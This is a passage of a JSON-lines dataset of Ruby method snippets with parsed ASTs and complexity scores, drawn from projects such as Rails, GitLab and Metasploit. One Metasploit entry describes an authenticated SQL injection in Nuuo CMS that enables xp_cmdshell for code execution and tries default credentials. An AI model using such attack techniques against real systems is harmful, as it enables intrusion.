type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"arch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"arch\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"arch\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]}]},\"flatten\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"arch\",{\"type\":\"str\",\"children\":[\"x86\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Arch\"]},\"adjust_stack_pointer\",{\"type\":\"lvar\",\"children\":[\"arch\"]},{\"type\":\"lvar\",\"children\":[\"adj\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"14c6dc84-aacc-4303-aea4-909ed11fbf2d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Nuuo Central Management Authenticated SQL Server SQLi',\n        'Description' => %q{\n          The Nuuo Central Management Server allows an authenticated user to query the state of the alarms.\n          This functionality can be abused to inject SQL into the query. As SQL Server 2005 Express is\n          installed by default, xp_cmdshell can be enabled and abused to achieve code execution.\n          This module will either use a provided session number (which can be guessed with an auxiliary\n          module) or attempt to login using a provided username and password - it will also try the\n          default credentials if nothing is provided.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2018-18982' ],\n          [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ],\n          [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],\n          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-cms-ownage.txt' ]\n\n        ],\n        'Platform' => 'win',\n        'Arch' => ARCH_X86,\n        'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground\n        'Targets' => [\n          [ 'Nuuo Central Management Server <= v2.10.0', {} ],\n        ],\n        'Notes' => {\n          'SideEffects' => [ ARTIFACTS_ON_DISK ],\n          'Stability' => UNKNOWN_STABILITY,\n          'Reliability' => UNKNOWN_RELIABILITY\n        },\n        'Privileged' => false, # we run as NETWORK_SERVICE\n        'DisclosureDate' => '2018-10-11',\n        'DefaultTarget' => 0\n      )\n    )\n    register_options [\n      Opt::RPORT(5180),\n      OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]),\n      OptString.new('URIPATH', [true, 'The URI to use for this exploit', \"/#{rand_text_alpha(8..10)}\"])\n    ]\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Nuuo Central Management Authenticated SQL Server SQLi\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The Nuuo Central Management Server allows an authenticated user to query the state of the alarms.\\n\"]},{\"type\":\"str\",\"children\":[\"          This functionality can be abused to inject SQL into the query. As SQL Server 2005 Express is\\n\"]},{\"type\":\"str\",\"children\":[\"          installed by default, xp_cmdshell can be enabled and abused to achieve code execution.\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will either use a provided session number (which can be guessed with an auxiliary\\n\"]},{\"type\":\"str\",\"children\":[\"          module) or attempt to login using a provided username and password - it will also try the\\n\"]},{\"type\":\"str\",\"children\":[\"          default credentials if nothing is provided.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Pedro Ribeiro <pedrib@gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2018-18982\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://seclists.org/fulldisclosure/2019/Jan/51\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-cms-ownage.txt\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stance\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Stance\"]},\"Aggressive\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Nuuo Central Management Server <= v2.10.0\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2018-10-11\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[5180]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"HTTPDELAY\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Number of seconds the web server will wait before termination\"]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"URIPATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI to use for this exploit\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}]}]}]}]}]}]}","id":"a52019a3-6ec6-4265-84cf-4da44a27c8f8"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/helpers/controller.rb","start_line":18,"raw_source":"def current_resource_owner\n        return @current_resource_owner if defined?(@current_resource_owner)\n\n        @current_resource_owner ||= begin\n          instance_eval(&Doorkeeper.config.authenticate_resource_owner)\n        end\n      end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"current_resource_owner\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_resource_owner\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_resource_owner\"]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_resource_owner\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_eval\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"config\"]},\"authenticate_resource_owner\"]}]}]}]}]}]}]}","id":"289a78c6-c4f9-45a6-9913-800b374eb054"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/database_selector_test.rb","start_line":185,"raw_source":"def test_preventing_writes_turns_off_for_primary_write\n      resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver.new(@session, delay: 5.seconds)\n\n      # Session should start empty\n      assert_nil @session_store[:last_write]\n\n      called = false\n      resolver.write do\n        assert ActiveRecord::Base.connected_to?(role: :writing)\n        called = true\n      end\n      assert called\n\n      # and be populated by the last write time\n      assert @session_store[:last_write]\n\n      read = false\n      write = false\n      resolver.read do\n        assert ActiveRecord::Base.connected_to?(role: :writing)\n        assert_predicate ActiveRecord::Base.lease_connection, :preventing_writes?\n        read = true\n\n        resolver.write do\n          assert ActiveRecord::Base.connected_to?(role: :writing)\n          assert_not_predicate ActiveRecord::Base.lease_connection, :preventing_writes?\n          write = true\n        end\n      end\n\n      assert write\n      assert read\n    end","complexity_score":37.95,"ast_json":"{\"type\":\"def\",\"children\":[\"test_preventing_writes_turns_off_for_primary_write\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resolver\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Middleware\"]},\"DatabaseSelector\"]},\"Resolver\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@session\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delay\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"seconds\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@session_store\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"last_write\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"called\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resolver\"]},\"write\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connected_to?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"sym\",\"children\":[\"writing\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"called\",{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"called\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@session_store\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"last_write\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"read\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"write\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resolver\"]},\"read\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connected_to?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"sym\",\"children\":[\"writing\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},{\"type\":\"sym\",\"children\":[\"preventing_writes?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"read\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resolver\"]},\"write\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connected_to?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"sym\",\"children\":[\"writing\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},{\"type\":\"sym\",\"children\":[\"preventing_writes?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"write\",{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"write\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"read\"]}]}]}]}","id":"786ef237-e0fa-4522-b2b6-80c0f53ac7ef"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/users_helper.rb","start_line":344,"raw_source":"def render_job_title_and_organization(job_title, organization, with_schema_markup: false)\n    if with_schema_markup\n      job_title = '<span itemprop=\"jobTitle\">'.html_safe + job_title + \"</span>\".html_safe\n      organization = '<span itemprop=\"worksFor\">'.html_safe + organization + \"</span>\".html_safe\n\n      ERB::Util.html_escape(\n        s_('Profile|%{job_title} at %{organization}')\n      ) % { job_title: job_title, organization: organization }\n    else\n      s_('Profile|%{job_title} at %{organization}') % { job_title: job_title, organization: organization }\n    end\n  end","complexity_score":21.2,"ast_json":"{\"type\":\"def\",\"children\":[\"render_job_title_and_organization\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job_title\"]},{\"type\":\"arg\",\"children\":[\"organization\"]},{\"type\":\"kwoptarg\",\"children\":[\"with_schema_markup\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"with_schema_markup\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"job_title\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<span itemprop=\\\"jobTitle\\\">\"]},\"html_safe\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"job_title\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"</span>\"]},\"html_safe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"organization\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<span itemprop=\\\"worksFor\\\">\"]},\"html_safe\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"organization\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"</span>\"]},\"html_safe\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"html_escape\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Profile|%{job_title} at %{organization}\"]}]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_title\"]},{\"type\":\"lvar\",\"children\":[\"job_title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization\"]},{\"type\":\"lvar\",\"children\":[\"organization\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Profile|%{job_title} at %{organization}\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_title\"]},{\"type\":\"lvar\",\"children\":[\"job_title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization\"]},{\"type\":\"lvar\",\"children\":[\"organization\"]}]}]}]}]}]}","id":"6826b50b-1fbc-4e96-b42d-928abe003693"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/afp/afp_server_info.rb","start_line":89,"raw_source":"def format_flags_report(parsed_flags)\n    report = ''\n    parsed_flags.each do |flag, val|\n      report << \"AFP #{rhost}:#{rport}     *  #{flag}: #{val} \\n\"\n    end\n    return report\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"format_flags_report\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parsed_flags\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"report\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_flags\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"flag\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"AFP \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\"     *  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flag\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"str\",\"children\":[\" \\n\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]}]}]}]}","id":"e0ed2dbc-c116-4034-97ed-6d5a5b478723"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails52.rb","start_line":475,"raw_source":"def test_cross_site_scripting_kwsplat_known_values\n    assert_warning :type => :template,\n      :warning_code => 2,\n      :fingerprint => \"bc1e6c1ff0c94366d1936050698bad21b33cb7377528169a18ef609c39c373b9\",\n      :warning_type => \"Cross-Site Scripting\",\n      :line => 1,\n      :message => /^Unescaped\\ parameter\\ value/,\n      :confidence => 0,\n      :relative_path => \"app/views/users/_foo.html.haml\",\n      :code => s(:call, s(:call, nil, :params), :[], s(:lit, :x)),\n      :user_input => nil\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cross_site_scripting_kwsplat_known_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"template\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"bc1e6c1ff0c94366d1936050698bad21b33cb7377528169a18ef609c39c373b9\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Cross-Site Scripting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Unescaped\\\\ parameter\\\\ value\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/views/users/_foo.html.haml\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"x\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"2c76d91e-6aa2-4cb3-90f2-215bc8b395bf"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/supply/lib/supply/client.rb","start_line":322,"raw_source":"def list_generated_universal_apks(package_name:, version_code:)\n      result = call_google_api { client.list_generatedapks(package_name, version_code) }\n\n      result.generated_apks.map do |row|\n        GeneratedUniversalApk.new(package_name, version_code, row.certificate_sha256_hash, row.generated_universal_apk.download_id)\n      end\n    end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"list_generated_universal_apks\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"package_name\"]},{\"type\":\"kwarg\",\"children\":[\"version_code\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call_google_api\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"list_generatedapks\",{\"type\":\"lvar\",\"children\":[\"package_name\"]},{\"type\":\"lvar\",\"children\":[\"version_code\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"generated_apks\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GeneratedUniversalApk\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"package_name\"]},{\"type\":\"lvar\",\"children\":[\"version_code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"certificate_sha256_hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"generated_universal_apk\"]},\"download_id\"]}]}]}]}]}","id":"ac21dd42-580b-4616-81eb-bf6536c5b4e1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/ldap_passwords.rb","start_line":70,"raw_source":"def session?\n    defined?(:session) && session\n  end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"session?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"sym\",\"children\":[\"session\"]}]},{\"type\":\"send\",\"children\":[null,\"session\"]}]}]}","id":"338d978c-ff19-4191-8f8b-e792c231ba83"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/stock_location.rb","start_line":166,"raw_source":"def display_name\n      @display_name ||= [admin_name, name].delete_if(&:blank?).join(' / ')\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"display_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@display_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"admin_name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},\"delete_if\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"blank?\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" / \"]}]}]}]}","id":"6a704c98-3cce-478c-8e6b-a6ecb5e78fdf"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-gamification/lib/discourse_gamification/scorables/solutions.rb","start_line":12,"raw_source":"def self.category_filter\n      return \"\" if scorable_category_list.empty?\n\n      <<~SQL\n        AND topics.category_id IN (#{scorable_category_list})\n      SQL\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"category_filter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scorable_category_list\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"AND topics.category_id IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scorable_category_list\"]}]},{\"type\":\"str\",\"children\":[\")\\n\"]}]}]}]}","id":"4231d061-bc34-4ef5-8efc-b795faf9c929"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/postgres/postgres-pr/message.rb","start_line":163,"raw_source":"def initialize(auth_type, buffer)\n    @auth_type = auth_type\n    @buffer = buffer\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"auth_type\"]},{\"type\":\"arg\",\"children\":[\"buffer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@auth_type\",{\"type\":\"lvar\",\"children\":[\"auth_type\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@buffer\",{\"type\":\"lvar\",\"children\":[\"buffer\"]}]}]}]}","id":"2767c755-1206-40b6-afc0-1c51acfd4f87"}
